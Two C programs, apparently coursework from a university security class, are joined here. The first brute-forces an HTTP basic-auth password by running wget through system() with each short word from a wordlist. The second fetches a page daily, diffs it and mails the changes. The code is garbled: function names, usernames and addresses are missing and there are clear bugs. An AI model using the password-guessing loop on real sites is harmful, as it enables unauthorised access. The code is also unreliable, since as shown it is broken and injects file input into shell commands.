

#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#define OneBillion 1e9


int () {
 FILE *fp;
 int ret;
 char *strin = "wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=";
 char str[100];
 char passwd[150];
 int startTime, stopTime, final;
 strcpy(passwd,strin);
 fp = fopen("words","r");
 
 if (fp == NULL) {
    printf ("\n Error opening file; exiting...");
    exit(0); 
 }

 else 
 startTime = time();
while (fgets(str,20,fp) != NULL) {
         str[strlen(str)-1] = '\0';
         if (strlen(str) < 4) {
            strcat(passwd,str);
            printf("string is %s\n",passwd);
            ret = system(passwd);
            strcpy(passwd,strin);
            if (ret == 0) break;
         }
 }
 stopTime = time();
   final = stopTime-startTime;
       printf("\n============================================================");
       printf("\n HostName : http://sec-crack.cs.rmit.edu./SEC/2/index.html");
       printf("\n UserName : ");
       printf("\n Password : %s\n",str);
       printf("The program took %lld nanoseconds (%lf) seconds \n", final,  (double)final/OneBillion );   
       printf("\n============================================================");
}

# include <stdlib.h>
# include <stdio.h>
# include <strings.h>


int ()
{
	
	FILE* fpp;										
	FILE* fp;
			
	char s[100];
	int i;
	
	while(1)										
	{
		system("wget -nv http://www.cs.rmit.edu./students");				
		
		i=0;		
		
		fp = fopen("dummyindex.txt","r");
		
		if(fp == (FILE*) NULL)								
		{
			printf(" is  previously saved webpage in the file\n");
			i=1;
			fp = fopen("dummyindex.txt","w");

		}
				
		fclose(fp);
		
				
		
		
		
		system("diff index.html dummyindex.txt > compareoutput.txt");		

				
		if(fpp != (FILE*) NULL)	
		{
			
			fpp = fopen("compareoutput.txt","r");					
			
			fgets(s,100,fpp);							
			
			fclose(fpp);								
		
		
		   
			if((strlen(s)>0) && i==0)								
			{
				system("mail @cs.rmit.edu. < compareoutput.txt");	
				system("cp index.html dummyindex.txt");				
				printf("Message has been sent\n");				
			}
			else
				printf(" is  change in the \n");			
		}
		
		

		system("rm index.html")	;				
		
		sleep(86400);									
	}
				
	return 1;
}
